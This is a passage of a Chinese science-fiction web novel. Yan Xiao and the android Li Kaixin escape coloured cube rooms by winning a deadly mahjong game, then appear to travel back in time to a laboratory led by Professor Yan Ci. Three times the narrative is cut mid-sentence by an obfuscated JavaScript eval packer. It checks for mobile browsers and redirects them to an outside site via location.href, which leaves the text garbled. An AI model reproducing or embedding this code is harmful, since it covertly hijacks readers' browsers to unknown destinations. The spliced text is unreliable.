关于如何拿捏李开心,言笑还是总结出了一些经验的。李开心不想说的话会选择不说,不想回答的问题也会选择不回答。估计是他程序设置的问题,他不太倾向于说谎,所以言笑也不在意这个问题是否会让李开心为难,只要他保持沉默,那反推一下就能知道标准答案。 李开心一抬手,准确接住半空落下的书,修长手指翻开书页,快速浏览。“没有。” 李开心说没有,那就大概率真没有。言笑担心这话有破绽,让李开心钻了空子,于是追问道:“那你或你背后的人,有给我注射药物、让我恢复原身记忆的计划吗?” “没有这种药物。”李开心回答,“联盟确实安排研究员做过克隆大脑记忆复苏技术研究,但整个研究持续六七十年,没有得到任何有效结果。” “不对啊。”言笑手肘杵在栏杆上,百无聊赖托腮道:“这本书上最后写着,实验成功了。” 李开心微微蹙眉,迅速将书翻到最后,刚看几眼,整个紫色空间忽然颤动起来。 言笑早在阿特拉斯就锻炼出了泰山压顶而色不变的顶级心理素质,一手抓梯子栏杆,一手抓书架,气定神闲等震动过去。“这种空间也会地震吗?” 李开心仔细回想一番,“在第一个红色房间里,是不是也有过这样的地动?” 震颤已然过去,言笑松开抓紧栏杆的手,“有吗?” “有。在我们轮换过一圈舞伴之后。” “我想不起来了。”言笑敲敲脑袋。“当时我让那群鬼迷日眼的蛊惑了,要不是你叫醒我,估计现在我身后也吊着好几根线——哎,你想什么呢?” 李开心说:“我在想,上个房间里有地动,这个房间里也有地动。” 言笑被他提醒,心念一动,“你觉得震动是一种信号?或许震动代表我们完成了一定的任务,所以房间被激活,我们能够进入下一个房间?” “或许是这样的。” “那咱试试不就行了。”言笑摩拳擦掌,忽然转而问道:“可是你还有很多书没看完。根据你的指令,你不是必须把所有可能的线索都查找一遍吗?” “我还需要遵从另外一个指令,就是当遇到可以出泡泡的线索,必须出泡泡。这个指令的优先级在寻找玄武的指令之前。” “啧啧。”言笑细细琢磨这话的含义,“联盟这是怕你撂挑子不干,在泡泡里躲一辈子啊。” 李开心没再答话。 言笑不在意玄武,反正找到了也不给她加钱。“那行吧,咱再试试。”言笑左右挽起袖子,在梯子顶端站了起来,往下一看,有点儿高。“我跳下去。你接我一下。” 26. 魔方03 “先别跳。”李开心突然出言阻止,“如果我们真的在‘魔方’里,那方块的移动不应该只有一个方向。” 言笑向来是行动派,立刻噔噔噔跑下梯子,“你是想试试能不能向其他方向移动?” 李开心伸手帮她扶着梯子,“四个方向,你选一个。” “上次你让我选,刚迈出一步咱俩就掉归墟里了。你选。” 李开心环顾四周,指了一个方向。两人来到空间尽头,言笑伸出手指在墙壁上摸了摸,问李开心,“踹一脚?” 李开心点头。两人齐齐后退一步,整齐划一地抬腿出脚。随着并不算强烈的震动与移动,房间中的书架与书逐渐消失,紫色褪色,数种光亮在周围亮起。 言笑倒吸一口凉气,“我们还真是在魔方里。” 二人现在所处的空间应该属于白色,只是这白色墙壁仅有近乎透明的薄薄一层,于是四周颜色尽入眼底。能够看到颜色的范围只在以白色房间为中心的3*3立方体以内,即可见颜色的房间仅有周围26个。除了刚才已经经历过的红色房间与紫色房间现在变为真空似的透明,余下的共有六种颜色:红黄绿青蓝紫。 言笑叹道:“看来还得继续推箱子。不推出不去。” 白色房间中没有任何线索,或许这代表可以任选即将进入的房间颜色。言笑说:“看起来你运气比我好一点。你再选个色吧。” “那里有个紫色房间。”李开心指向右下方,“虽然颜色代表什么还不确定,但有一定概率,紫色房间里有关于魔方实验所的记载。” 言笑比划出两条路线,“要么往前,下去,再向右:红蓝紫;要么向右,下去,再往前,黄青紫。二选一。” “黄色房间危险系数未知,红色房间至少我们走过,不致命。” “……你心真大。” 白色房间没有震动,果然可以直接移动。一脚下去,周围彩色光线渐渐收束、暗淡,最后交融于一色,成为热烈而喜庆的红。 高处挂着一轮金黄圆月,古代装束的女子立于云端愁眉不展,桂树飘香,白兔毛绒绒地窝在树下啃草。房间两边依然是茶点桌,吃喝俱全,只是点心不如第一个房间精美,水果也没那么丰盛。言笑早就饿了,过去先吃蛋糕,咂咂嘴巴,点评道:“这个味道和咱们现实生活中的食物有点像,比我平时买的好吃,但不如鹦鹉螺城,也不如阿特拉斯。” 李开心沿着房间走了一圈,“如果我猜得没错,这个场景是在复刻当年的魔方实验室,时间点在三战之后几十年,地球上的资源紧缺程度比现在严重许多。但实验室研究员有薪水,有家里补贴,还可以在实验室种植或者培育食物,所以吃得比现在的普通百姓还要好些。” “道理我都懂。”言笑咽下一口点心,指着房间中央的麻将桌问,“这麻将桌是怎么回事?还有旁边这怪吓人的三个假人?” 四人麻将桌,牌已洗好,每个位置摆着一叠筹码,桌子中间的透明骰盅里有两颗鲜红骰子。桌旁站着三个人体模型,只有大致轮廓,没有五官也没有明显的第二性征,分不出男女。李开心将整个房间检查一遍,最后才去观察那些假人。 “材质是功能性机器人的常用材质,里面很可能植入过程序。” 言笑看热闹不怕事大,“你摸摸看。” 李开心连手都没伸,“建议不要。” “那这间房间要怎样才能推动?”言笑爬上麻将桌,又矫健地蹿到半空,重重落地,一通操作猛如虎,果然无事发生,“你看,不行。现在推不了。” 李开心拉开一张椅子,“那么答案就很明显了。 “我们需要打麻将。” 言笑脑壳疼。倒不是言笑刚才没想到需要打麻将,可就是这种未知赌局才更让人头皮发麻——不玩,没法推箱子;一旦玩输了,谁知道会输在这里什么东西。麻将很看运气,不是脑子好使就一定能赢。 李开心率先在桌边坐下。言笑正要坐在李开心对面,李开心忽然道:“别坐那里。坐我旁边。” “这……”言笑迷惑,“有什么区别吗?” 李开心没说,言笑也没再追问,到李开心身边坐下。二人落坐,两个原本一动不动的假人忽然活动手脚,灵巧地走到桌边,填补麻将桌的空位。 骰子在骰盅里跳动起来,掷出一个三点和一个一点。假人A先抓牌,言笑也学模学样,跟在李开心之后抓牌码牌。“你先讲讲麻将怎么打。我只听说过没玩过。” 李开心简单描述一遍规则,又大致讲了输赢之后如何计算筹码。言笑左右看看,问李开心,也是问那两个假人,“打多大?一亿飘十亿的?” 话音刚落,假人A拿起一枚筹码,“啪”地拍在骰盅上。 得,看来一番就是一枚筹码。 言笑虽没经验,可也明白麻将大致就是看着这两个假人出什么牌,再倒推它们手里有什么,最低要求是不能给它们点炮。小心翼翼的数轮抓牌出牌后,言笑伸长脖子瞄着假人B刚扔出去的那张东风,试探着说:“……和了?” 单吊一张东风,这运气也是没谁了。 三“人”各自给言笑筹码,李开心给一枚,假人B点炮给两枚,假人A庄家给两枚。言笑笑纳,跟李开心说:“其实我想赢个大的。但再一想,蚊子再小也是肉,能赢就不错了,万一输了有惩罚怎么办。” 李开心向骰子看了一眼,骰子自动掷出,“能和你就和,不要冒险。” “得嘞。” 言笑很看得开。一旦真发生什么,她绝对没有李开心能打,那最佳策略就该是她负责托底,冒险的事李开心去。但这其中也有个悖论,就是当李开心和牌,她也是输家,如此一来李开心能放手一搏的前提条件是,她先赢到足够的筹码。 言笑推出一张发财,“为什么实验所里会打麻将?难道科学家们也流行摸鱼吗?” “魔方实验室前后有过好几代研究员,每代风格都不一样,其中最后一代研究员是出了名的不成器,在当年饱受诟病。打麻将是他们的保留节目,尤其逢年过节,你看这周围的装饰——”李开心摸牌打牌,又向天顶指了一圈,“中秋节。” “那我刚才吃的那个点心是……?” “是月饼。五仁馅的。”李开心推牌,“自摸,翻一倍。” 言笑向李开心的牌瞄了一眼,李开心听的是发财。 初始状态每人十枚筹码,这局一番两枚筹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031801|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码,庄家假人B输四番,这意味着假人B已经输光筹码,而假人A的筹码也只剩下四枚。第三局开局,李开心庄家,下定一番四枚筹码。此举正和言笑心意:只要她与李开心当中有任意一人和牌,游戏就结束了;即使言笑输两番,手里还有十一枚筹码,也输得起。 言笑既紧张又兴奋,而无论紧张还是兴奋都会导致话多。言笑早看出李开心对这个魔方实验室极其了解,于是一边码牌一边紧锣密鼓地八卦,“你是这个实验室里的人造出来的吗?” “是。” “那你多大岁数了?” “无论从任何角度计算,都比你大很多。” “都有什么角度?” “底层程序诞生的时间,或者身体诞生的时间。” “既然可以通过高阶图灵测试的人工智能禁止被设置为人形,为什么会有你这样一个例外?” 抓牌的手停在半空。李开心睫毛微动,却没看向言笑,停顿数秒,继续若无其事地抓牌。言笑知道这代表李开心不想回答这个问题,也不深究,碰了李开心打出来的三条,抓来一张二饼。 假人B抓牌,出四万;假人A捡走四万,和了。 “我去,这俩人是不是互相喂牌啊?”言笑愤愤不平数出四枚筹码,甩到假人A跟前,“它明显是吃万的。” 李开心冷静得近乎面无表情,“并没有规则说不许互相喂牌。而且它这是平和,算两番,杠算一番,你输三番,我和你对面这个输五番。” 三番,就是十二枚。但上局过后,言笑只有十一枚筹码。 言笑只是听李开心把麻将规则讲个囫囵,其实压根不会算番,闻此登时手脚发凉,如坠冰窟,“要是这么这么算的话,我筹码已经不够了。” 假人B从零筹码直接负债二十筹码,点炮先给,却给不出。言笑风声鹤唳地观察局势,手也悄悄摸到脚边匕首上,随时准备玩不赢就打,打不过就跑。 哪想假人B手边桌面突然凹下一块,随后哗啦哗啦,筹码从桌面夹层涌出,不一会儿就堆做一堆。假人B数出二十枚筹码给假人A,自己留下八十枚,端端正正两手放在桌上,仿佛无事发生。 言笑一时不知道该喜还是该忧。喜在筹码不够也不会有惩罚;可忧在这麻将打起来岂不是没完没了? 握在匕首上的手慢慢松开。言笑说:“我还以为剩下的那个假人会来替它,现在看来不会。但是输光就有筹码续上,赢多少算赢?” 话音刚落,始终站在远处的假人突然活动起来,大步走到麻将桌边,手指抠向腹部。言笑甚至没看清它的动作,就好像它肚子那里本就有一道难以看见的缝隙,缝隙打开,假人从身体内部抽出一把寒光闪闪的钢刀,随后钢刀举起,冲着桌面就劈。 李开心反应极快,迅速探手挡住言笑的眼睛。言笑没看见任何画面,却感觉到一股液体嗖地飙到自己脸颊上。 红色房间寂静无声,喜庆却也阴森。兔子啃完了草,蹲在嫦娥脚边与嫦娥一起看热闹。 言笑木讷扒开李开心的手,赫然看见麻将桌上还在抽动的一截手指。 假人B被砍掉了一根手指。 而下一个付不起筹码的人,就是她了。 27. 魔方04 筹码还剩七枚,言笑哆哆嗦嗦给假人A全扔过去,胡乱擦掉脸上的血,又弯腰抽出匕首,警惕地盯着麻将桌对面还在淌血的锃亮刀锋,当着众假人的面与李开心大声密谋,“打吗?” 李开心甚至没看她,所有注意力都放在观察这三个假人的反应上,取出二十枚筹码扔给假人A,而后将余下的五枚筹码放在言笑手边,“给它。” 言笑被这操作震惊了。 这样也可以? 三个假人丝毫没有反应,没有反应就是默认,言笑赶紧抓起一枚筹码,慌里慌张补上给假人A的欠债。 持刀假人收起钢刀,回到原处站好。 “我靠。”有惊无险,言笑当即恢复力气叫骂,拍桌道:“早说啊。你们仨是不是一个都不长嘴,不能派个代表讲一下游戏规则吗?” 李开心突然再次伸手挡在言笑眼前,“你先把眼睛闭上,或许我猜到这里的游戏规则了。” “它们偷袭我怎么办?” “有我在。” “你不会是要骗我闭眼睛然后薅我头发吧?” “……不会。” 言笑犹犹豫豫闭上眼睛。李开心放下了手,“下局轮到你掷骰子。骰子受你目光控制,只要你眼神过去,骰子就会自动掷出。你要心里想着,掷出两个六。” “这么唯心主义吗?” “我不敢肯定在这里意念到底能不能控制骰子,但你要向这个方向努力。” 按李开心说法,泡泡中的许多细节来自于研究员们的意识,既然李开心如此了解魔方实验所,大概骰子掷两个六是有所渊源的。再怎么也是在鹦鹉螺城徒手取过西瓜的人,言笑对自己还算有些微薄的信心,“我知道了。” 睁眼,骰盅上一片触目鲜红。假人B似乎只是面目模糊,实际上的身体构造与人类无异,一刀下去,言笑甚至能从创口断面看见发白的骨骼。 专心,专心。 两个六。两个六。 言笑念念有词,深吸一口气,将目光落在骰盅上,这一刻甚至像是上帝书写历史。万物与尘埃,一切都是确定,哪怕上帝掷出骰子,上帝的骰子也是确定。 骰子在盅里疯狂转动。 再转动。 半天,李开心没忍住提醒她,“你心里放松点,骰子就停了。” 两颗骰子几乎转出残影。言笑紧绷着脸,眼睛一眨不眨,“要不再转一会儿。我总觉得没准备好。” “不会。” 言笑深呼吸,放松目光控制。骰子转动渐渐变慢,点数在侧面显示出来,摇摇晃晃,像是喝多了酒。第一颗骰子已经停下,六点。 “六六六,六六六!”言笑两手扒在桌边,念经似的嘀咕。骰子眼看要往五倒去,计划落空,言笑一颗心提到嗓子眼儿,那骰子却突然争气地歪斜向另一个方向。 “两个六!”言笑兴奋得跳起来鼓掌,随即迅速恢复冷静,“没有震动,我们走不了。” 李开心示意言笑先抓牌,房间里再度响起啪啪的码牌声,“等你赢了,或许我们就能走了。” “从前爱在实验室里打麻将的那些研究员,两个六对他们而言有什么含义吗?” “没什么含义。”李开心看向远处的砍手假人,“就是有人觉得掷出两个六她就会赢,玄学。别人老说她给牌桌加程序了,其实没有——你牌怎么样?” 言笑扔出第一张牌,桌上转眼打过半圈。 “已经听了。” 李开心密切注视着假人动向,问言笑道:“听什么牌?” 言笑被实验室炸裂的麻将规则弄得有点麻了,机械回答,“幺鸡。” “我和你换。”李开心将一张牌藏在手里,从桌下递给言笑。三个假人毫无反应,并没有因为李开心公然出老千而举起砍刀,这一刻言笑深切体会到了违背规则的快感,反叛的快乐比赢牌的快乐还要翻倍。 “从前实验室里就有出老千的,而且经常有人出。泡泡是实验室的投射,玩牌的都是自己人,没人会因为你出老千或者钱不够砍你手指头。” 假人B的断指还在嘀嘀嗒嗒淌血。言笑将幺鸡码在最边上,又笑眯眯将牌推倒,“谢谢了。知道以后真的很安心呢。” 言笑向来喜欢上窜下跳这种任务,自告奋勇爬上麻将桌。一跃而下,红色消弭,迎来的却不是意料之中的蓝色。两人被紫色雾气包裹,立方体的概念也不再存在,随着雾气缓慢散去,眼前是白色调的地砖与天顶。 他们置身在一条长长的走廊里。 言笑茫然地左顾右盼,“怎么是紫色?这是哪儿?” 穿白大褂的女研究员匆匆自走廊尽头而来,路过两人,诧异问道:“你们是哪个实验室的?怎么上到这层来了?” “大婶?”言笑愕然叫道。 眼前这人,不正是鹦鹉螺城里拿晚霞织毛衣的胖大婶吗?只是换了一身行头,气质也变得雷厉风行起来。女研究员像是不认识言笑,没理这声套近乎似的称呼,不过半秒钟没得到答案,已然不想再等下去,就又换了个问法,“把你们招进来的研究员叫什么名字?” 李开心说:“石楠。” 以言笑对李开心的了解,这应该属于基于事实的胡说八道。石楠肯定确有其人,但能不能和现在身处的这段故事对得上号就难说了。 果然,对方满面疑惑,“石楠是谁?我们这里没有这个人。” “那什么,其实是我受伤了,”言笑指指锁骨的伤口,扁扁嘴故作委屈,“找不到地方包扎,稀里糊涂就走这儿来了。” 女研究员见言笑确实受了伤,也不好说她更多,只道:“七楼有医务室,你去包扎一下。这里不能随便进来,以后不要在这儿乱逛。” 两人当即点头答应。大概此处虽然生人勿进,也没什么要命的保密信息,女研究员数落几句,也就放他们走了。 进入电梯,占据一整面墙壁的启事中展示着数个幼童的天真笑脸,上面铺陈着几个大字:实验室公开招募。一段详细讲解水流一样在页面上滑动过去,李开心迅速读完,又确认了启事日期,“我知道我们在什么地方了。 “这里是魔方实验所的前身,是个临时基地。” 电梯到达,两人去医务室包扎。医务室的医生也不核查身份,见言笑身上有伤,就拿出强力愈合剂给她涂抹,还告诉她说两小时内不要沾水。低楼层比高楼层热闹,许多研究员忙忙碌碌走过,穿着各异,两人混迹其中并不显眼。从医务室出来,李开心继续为言笑讲解,“财阀投资,最初只是想建造飞船,一旦三战爆发,他们可以离开地球。但投建飞船的财阀世家对科学有极大的兴趣与热爱,所以他们干脆建了一座科研园区,聘请最顶尖的科学家们做任意研究。” “任意研究?研究什么都行,随科学家的便?” “是。他们认为科学不应该有限制。” 言笑敲敲脑壳思索着,“如果换做我有这样的财力,我会让科学家研发武器,倒不是为了挑起战争,纯粹是为了自保。没有战斗力就没有话语权,武器往那儿一摆,谁都得对我毕恭毕敬。” 李开心停顿片刻,“他们也确实做过武器研究。其实自那时——或者说自‘现在’起,对玄武的研发就已经开始了。” “那他们的研发成果曾经被用在三战里吗?” “用过一些装备,但没用过玄武。这也是三战过后,魔方实验所所长曾想关闭实验所的原因。再怎么粉饰目的,也毕竟参与了战争,在他们看来科学只是科学,科学不应该被用于制造杀戮。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034915|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时财阀世家不在,联盟渐渐控制了实验所,实验所源源不断培养出最出色的人材,联盟当然不会答应将实验所关闭。所以联盟让了一步。为表诚意,联盟许诺不收集魔方实验室研究员的大脑数据,不将他们的研究成果用在他们自己身上,也不保留他们的基因样本——要知道,作为具有顶级智商的人类,如果保留他们的基因样本反复研究,他们以及他们的克隆体就会永远是联盟的实验动物。” 言笑出生于三战过后,战争早已成为历史,言笑也早已习惯于满目疮痍的地球,所以对于这场目前尚在未来时间线上的战争并没什么执念,只啧啧叹道:“把理所应当的事情当作恩赐,这就是统治阶级吗?” 李开心将食指压住嘴唇,示意言笑收声,简短回答,“历来如此。” 言笑眼珠一转,“我想到了一个绝妙的混饭方法。” 两人一路穿梭飞奔,言笑拽着李开心疯跑到启事中标注的办公室门口,装模作样整整头发,抬头挺胸走了进去。 一个大约八九岁的小男孩正坐在桌旁看一本古老的线装纸质书,闻声抬头,问道:“你们有什么事?” 言笑清清喉咙,庄重回答,“我们是来实验室应聘的。” 小男孩大概误会了,从系统里调出名单,“叫什么名字?” 言笑瞧了眼悬浮半空密密麻麻的字迹,摆摆手道:“名单里没有我们。我们是想来这里报名。” 小男孩说:“那需要你们自行上传学历证明,然后才能进行统一测试,择优录取。” 言笑懵然问他,“不是测智商就可以吗?”从前李开心说过,魔方实验室选研究员看智商,刚才那启事言笑粗略瞄了一眼,大概也是同样的意思。李开心作为人工智能,智商压根不受人脑限制,只要他通过测试,他们在这里的这段时间就吃喝不愁了。 小男孩瞅瞅言笑,又瞅瞅李开心,言笑发誓她看见了小男孩努力半天也没有藏住的白眼。“你们超年龄了。” 既然泡泡把他们送到这里,这里就必然藏着离开泡泡的契机,即使不论吃喝,也得死皮赖脸想办法待下去。言笑胡搅蛮缠,“我们就是长得老成。”又重重在李开心肩膀上拍了一下,“你们不是想找智商高的人吗,他智商高,一定比你见过的所有人智商都高。” 小男孩不屑冷哼,上下打量李开心,“错过最好的培养时期,智商再高也没价值。” 这话言笑可就不爱听了。言笑撸起袖子,蛮横质问,“我说你这小孩怎么讲话这么烦人?得了你也别说话了,你家大人呢?” 小男孩立刻涨红了脸,像是受到羞辱,一双圆溜溜的耳垂都热气腾腾起来,愤然喊道:“什么我家大人?这里我说了算!” “不是要学历证明吗?你才几岁,你哪个大学毕业的?” “你你你——”小男孩噌地从椅子上跳起来,像是要被气哭了,“大学是给你们这种普通人上的,你以为天才需要上大学吗?”说到最后表情和语气突然垮了,求救似的对言笑背后嗫嚅道:“教授……” 身后传来一个女人的声音,亮而轻快,像带着笑,“吵什么呢?” 言笑与李开心齐齐回身。面前的女人比言笑高些,穿着白大褂,有双仿佛永远不会老去的灵动杏眼。这人明显不与言笑同龄,应该有三四十岁,但保养得当,看不出是三十还是四十,哪怕穿得和所有研究员一样素净,也像雪地中嵌金镶玉似的惹眼。 言笑拿不准这位是不是这里说了算的“大人”,问她,“你是谁啊?” 女人双手插兜,笑吟吟地打量言笑,“我是言辞。你是谁啊?” 言笑眨眨眼,不自觉看向李开心,但又没从李开心的表情中得到关于女人身份的暗示,只好保守沿用对方的句式回答,“我是言笑。” 28. 魔方05 言辞点点头,算是认下这个没头没尾的答案,一回合下来,两方都没解答对方疑惑。言辞对言笑说:“既然你对他的智商这么有信心,那就测测吧。跟我来。” 言笑尾随言辞,刚要走出房间,一直站在旁边未曾挪步的李开心忽道:“我不测。” 言辞站定,回头疑惑地看看言笑。言笑小步溜到李开心身前,偷偷拽他衣襟,“测测怎么了?”又问言辞,“要怎么测啊?” 言辞说:“很方便的,大脑扫描就可以。” 这下言笑知道为什么李开心不能测了。扫描大脑很可能会发现李开心不是活人。 这倒是个难题,既然不能靠李开心留在这里,那还要用怎样的借口蹭饭呢?言笑正犹豫着,李开心从后推了一下言笑肩膀,把言笑正推到言辞跟前,“测她。测她一样。” 言笑回头看他,瞪大眼睛,眼里全是脏话。 言辞一笑,说:“也行。” 言笑嗓子都快哽住了,声嘶力竭地拒绝,“不行不行。我对自己有清醒的认知,我没那个能耐。” “人要对自己有信心嘛。”言辞折回两步,利落地拐住言笑的胳膊,嗖地把言笑拖出门外,只在小男孩眼前留下一道残影。 小男孩恨恨坐下,恼怒地使劲唰唰翻书,听着走廊里歇斯底里的声音越来越远。“……有信心和不要脸是两码事!” 然而没到傍晚,小男孩就从隔壁听说了一个八卦:言教授收了个超龄的学生在实验室,关系户,本家,说不定给言教授塞了多少钱。 地下食堂,言笑餍足地对着空餐盘打了个嗝,放下勺子,咕咚咕咚灌下一杯带汽饮料。这个叫可乐的东西好像在21世纪很流行,饮品机里销量领先,言笑头一次喝,还是在她后面排队的陌生研究员告诉她要拿加冰的,凉丝丝一口顺着汽泡送下喉咙,倍儿爽。 “大锅饭也太好吃了,就那白菜炖粉条,那小鸡炖蘑菇,还有东坡肘子鱼香肉丝,那个漂一层红油的那那那个——” “毛血旺。”李开心提醒她。 “对,毛血旺!”言笑痛心疾首,“要不是三战把地球破坏得差不多了,到咱们这代人也不至于吃什么都像吃卫生纸。” 李开心给她递面巾纸擦嘴,“你已经吃三大盘子了。吃太多容易积食,出去走走吧。” 言笑压根不知道自己的智商测试结果,言辞只说了句不错,然后就把她扔实验室里找人带着,学习人工智能开发。言笑心想你这真是买椟还珠,现成李开心在这儿摆着,不如把他拆吧拆吧研究一下,领先你们的技术水平一百多年。 至于李开心,言辞问他懂什么。李开心说,什么都懂一点。 听见这大言不惭的回答后言辞挑了挑眉,然而只有言笑知道,李开心这说法已经是往谦虚了说的。言辞又问他懂不懂航天,李开心说略懂,言辞点点头,派他独自设计飞船。 临时基地在深山里,面积不大,入夜后远处山林中闪烁着星星点点的亮光,听说那东西叫萤火虫。路灯是一盏一盏的六角灯笼,围着朦胧绢纱,偶尔被风吹得晃悠,影子就也连带着海棠花香摇曳起来。李开心从地上捡了一朵掉落的海棠花,告诉言笑道:“言辞教授是魔方实验室第一代带头人,也是魔方实验所第一代所长,是位非常了不起的脑科学领域科学家,实验室后几代研究员都把她称作——” “称作祖奶奶,你跟我说过。”言笑突然打断李开心。 “是。”李开心垂眸看她,“你是不是有问题想要问我?” 言笑怔了怔,“啊,有。如果我们确实穿越了时间,我们现在所在的时间点就是真实存在的历史,那么你照着既有的飞船设计给言教授画设计图,言教授再把飞船造出来,一百多年之后又有一个你穿越到现在,再给言教授画设计图。一直这么循环下去,那么最初飞船到底是谁设计的?” “这就是你想问我的问题?” 言笑不说话了。 其实言笑知道李开心所指,言笑也知道李开心明白她究竟想问什么,只是明知道答案的问题不需要问,没必要。依靠已知信息,言笑足以推断出整个故事的框架:言辞的不知道第多少代后代里有个叫言什么的,要么这个言什么是她的克隆本体,要么言笑干脆自己就是这个言什么。按李开心的说法,她和田斯斯、以及其他长着这张脸的人都不一样,或许这就是“不一样”的真正含义。因为她与魔方实验所的瓜葛,联盟需要她达成一些什么目的;又因为她与言辞的血缘关系,泡泡不会让她一辈子困囚于此。 至于更多细节,即使问了李开心也不会说。 两人停下脚步。海棠花影里言笑抬头看向李开心,妃色花朵与灰色眼睛,莫名像一个隐藏太多秘密的故事。海棠树下埋了一颗灰色眼睛作为养料,树木成长,花朵艳红,海棠树将一朵花放入空荡眼眶。 言笑惴惴不安道:“那我问了?” “嗯。” 言笑深吸一口气,像是鼓起了好大的勇气,“你会不会觉得我吃太多了?我看那些女研究员都吃得好少。” 李开心一愣,随即笑了。这笑意太深,连眼尾都弯出弧线,锋利嘴角上挑,露出一排整齐洁白的牙齿。言笑很少见到李开心笑,他一向是平淡稳妥的样子,大概活了太久,早已学会掩盖情绪。然而就在这一刻,陡峭深刻的五官忽然变得生动鲜活,言笑头一次见到李开心如此印证他的名字,李开心。 李开心说:“不会。多吃点好。” 言笑立刻欢欣雀跃起来,之前生过的闷气烟消云散,同时心里不无遗憾地想,这不挺会说话么,为什么非得被一个什么情感锁弄得断情绝爱呢? 言笑在实验室里过了一段悬梁刺股鸡飞狗跳的日子,每天早上五点被同门拽起来写代码,一开始想着起床可以吃饭,包子油条土豆丝卷饼,还算有个盼头,然而没过几天就开始生无可恋。相比之下李开心的工作随心所欲许多,想什么时候画就什么时候画。既然NPC已经明确交待任务,李开心猜测如果他们想从这里出去,大概他必须把飞船设计图画完。 言笑其实一直不太知道李开心的工作进度,李开心交作业那天她也没想到。那天言辞去看她的程序写怎么样了,言笑花里胡哨演示一番,言辞耐心听完,笑道:“不错。” 言笑大言不惭,“那是。” 言辞又道:“我正打算制造一个算力史无前例的人工智能,就以你写的这个框架为基础吧。” 言笑,“哈?我倒也不至于这么厉害。其他人也写了很多版本呢,不如您再看看?” 言辞摇摇手指,“不要妄自菲薄。你来给它起个名字吧。” 李开心正推门进来,言笑不经意望过去,恰好看见阳光自窗外投射,在李开心侧脸勾出一道金边。言笑莫名想起之前在《泡泡发现始末》中读到的内容,鬼使神差道:“……112358?” 乍一闻此,李开心骤然抬眼,眼神刀子似的尖锐,像是要把言笑的皮囊剖开,生吞活剥,啖其血肉。言笑猝不及防被剜了一眼,顿时头皮发麻,颈后寒毛都炸了一下。可凝神再看,李开心的目光又已恢复正常,就好像方才刹那不过幻觉。 言辞敲着下巴思考,“斐波那契数列?可以啊,就叫这个吧。” “言教授。”李开心走过来,“飞船的设计稿完成了。” 全息影像在三人面前旋转。李开心将影像放大,从外形设计开始讲解,直到讲遍飞船中的所有细枝末节。重力系统、光照系统、曲率加速引擎,三人所置身之处从飞船外到飞船内,当讲到可变透明的记忆玻璃,李开心打了个响指,三人头顶不再是金属质感的建材,而是一片浩瀚无垠的星空。 言辞耐心听完,在震撼与回味中由衷鼓掌,“原来飞船是这个样子的。” 不是“这个设计不错”,而是“原来飞船是这个样子的”。言笑与李开心迅速交换眼神,一时没有说话。 言辞饶有兴致打量两人,狡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038491|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黠笑道:“怎么?你以为我不知道你们有秘密?” 随着全息影像消失,地面突然震动。可这震动似乎只有言笑与李开心可以察觉,言辞只是得意地略一挑眉,冲言笑单眨一只右眼。既然已经到了告别的时候,言笑问她,“你怎么知道的?” 或许常年沉迷科研、远离尔虞我诈的复杂社会使言辞心态分外年轻,很多时候言笑觉得言辞虽然在年纪上已经是她的长辈,心态却像古灵精怪的顽皮少女。言辞故作神秘,压低声音,“不告诉你。” 反正已经说穿这层,言辞也没打算客气,干脆把魔方大楼的设计影像展示出来,问他们两个有什么建议。 站在未来时间点回看历史,言笑知道或许对言辞来说最好的选择是从未建立过魔方实验所。可作为诞生在一百多年后的人,如果此时她与李开心确实处于历史之中,任何历史的改写都会造成无法估量的后果。最直接的后果或许是,她不会出生,她从未存在,甚至李开心也可能不再拥有躯体,他只是一串代码,是生长不出情绪的底层程序。 李开心粗略查看魔方大楼的设计,隐晦提醒道:“如果可以的话,言教授不如在大楼中增加一些自卫装置。战争会改变许多东西,你的后代很可能身不由己。” 言辞怔忡片刻,眼里似乎含了一丝水光,可她仍然笑着,如同一个天真而苍老的少女。“好。我知道了。” 言辞又问言笑,“你想给这串代码留一个什么署名?留你的真名可能不合适。” 言笑不在意这个,随口道:“不用留。实在不行,记你名下就完事了。” “那哪儿成。”言辞调出一个程序,“我还想呢,得给我自己留个代号,不能所有研究成果都用自己名字。真名用于八卦,代号用于挨骂。喏,我想了好几十个呢。你要是懒得想,不如直接从这里头挑一个?” 言笑现在只着急离开,琢磨着这种情况下该怎么推箱子,闭眼在众多代号中随便一点,“就这个吧。” 再睁眼,言笑愣了。 石楠。 言辞的脸朦胧隐去,雾气将二人带回熟悉的立方体。言笑看着上上下下的紫色,恍惚怀疑自己记忆出了岔子,“咱们走的应该是蓝色房间,对不对?” “是。但红光和蓝光混合,就是紫色。” 